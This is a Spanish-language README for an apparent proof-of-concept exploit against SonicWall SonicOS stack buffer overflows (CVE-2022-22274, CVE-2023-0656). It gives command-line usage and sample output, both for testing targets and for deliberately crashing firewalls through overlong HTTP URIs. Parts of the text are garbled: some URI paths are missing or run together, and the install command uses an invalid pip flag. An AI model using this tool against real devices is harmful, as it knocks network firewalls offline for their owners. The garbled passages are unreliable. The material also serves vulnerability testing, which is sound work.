
Prueba de concepto de exploit para desbordamientos de búfer basados en pila en SonicWall SonicOS (CVE-2022-22274, CVE-2023-0656) que prueba y provoca fallos mediante solicitudes HTTP manipuladas.

El 24 de marzo de 2022, SonicWall publicó un aviso con los siguientes detalles:
Una vulnerabilidad de desbordamiento de búfer basada en pila en SonicOS a través de una solicitud HTTP permite que un atacante remoto no autenticado cause una Denegación de Servicio (DoS) o potencialmente resulte en ejecución de código en el cortafuegos.
NOTA: Esta vulnerabilidad SOLO afecta la interfaz de "administración web", la interfaz SonicOS SSLVPN no se ve afectada.
El 2 de marzo de 2023, SonicWall publicó otro aviso similar aviso:
Una vulnerabilidad de desbordamiento de búfer basada en pila en SonicOS permite que un atacante remoto no autenticado cause una Denegación de Servicio (DoS), lo que podría provocar que un cortafuegos afectado se bloquee.
NOTA: Esta vulnerabilidad SOLO afecta la interfaz de "administración web", la interfaz SonicOS SSLVPN no se ve afectada.
Ambos problemas están relacionados con el mismo patrón de código vulnerable y utilizan el mismo payload de explotación, pero se activan en diferentes rutas URI.
El desbordamiento de búfer se activa mediante una solicitud HTTP con una ruta URI de más de 1024 caracteres. CVE-2022-22274 puede ser explotado en /resources/ o en la ruta URI de Advanced Threat Protection ( si está habilitado o si está deshabilitado). CVE-2023-0656 puede ser explotado en o .
/atp////stats//Security_ServicesEste repositorio contiene un script de prueba de concepto para evaluar la explotabilidad de un objetivo en las cuatro rutas URI. Por defecto realiza una prueba segura, pero también tiene la capacidad de explotar los errores y bloquear el objetivo.
NOTA: En su configuración predeterminada, 3 bloqueos consecutivos en un corto período de tiempo harán que SonicOS reinicie el dispositivo en modo de depuración y quedará inaccesible hasta que un administrador lo ponga en línea nuevamente. ¡Úselo con responsabilidad!
Instale Python 3 y ejecute python -m pip install -y argparse.
usage: poc.py [-h] [-t] [-x {1,2,3,4,5}] [-s] target
positional arguments:
target hostname[:port] (port defaults to 443)
options:
-h, --help show this help message and exit
-t, --test safely test for vulnerability (default action)
-x {1,2,3,4,5}, --exploit {1,2,3,4,5}
exploit the target (trigger a crash). 1=/resources/ 2=// 3=/atp/ 4=/stats/ 5=/Security_Services
-s, --skip-header-check
skip initial check for SonicWALL response header
Probar un objetivo vulnerable:
$ ./poc.py 192.168.50.29
[*] Checking https://192.168.50.29:443
[+] Confirmed target is running SonicOS
[*] Testing CVE-2022-22274 at /resources/
[+] Target looks vulnerable! (redirected)
[*] Testing CVE-2022-22274 at //
[+] Target looks vulnerable! (redirected)
[*] Testing CVE-2022-22274 at /atp/
[-] Target does not appear to be affected (HTTP 404)
[*] Testing CVE-2023-0656 at /stats/
[+] Target looks vulnerable! (redirected)
[*] Testing CVE-2023-0656 at /Security_Services
[+] Target looks vulnerable! (redirected)
Explotar un objetivo vulnerable:
$ ./poc.py -x 1 192.168.50.29
[*] Checking https://192.168.50.29:443
[+] Confirmed target is running SonicOS
[*] Triggering exploit at /resources/
[+] Exploit succeeded! (target unavailable)
Probar y explotar un objetivo parcheado:
$ ./poc.py -tx 4 192.168.50.31
[*] Checking https://192.168.50.31:443
[+] Confirmed target is running SonicOS
[*] Testing CVE-2022-22274 at /resources/
[-] Target appears to be patched (empty response)
[*] Testing CVE-2022-22274 at //
[-] Target appears to be patched (empty response)
[*] Testing CVE-2022-22274 at /atp/
[-] Target does not appear to be affected (HTTP 404)
[*] Testing CVE-2023-0656 at /stats/
[-] Target appears to be patched (empty response)
[*] Testing CVE-2023-0656 at /Security_Services
[-] Target appears to be patched (empty response)
[*] Triggering exploit at /stats/
[-] Exploit failed (target responded)
Este proyecto está licenciado bajo la licencia GNU GPL 3.0.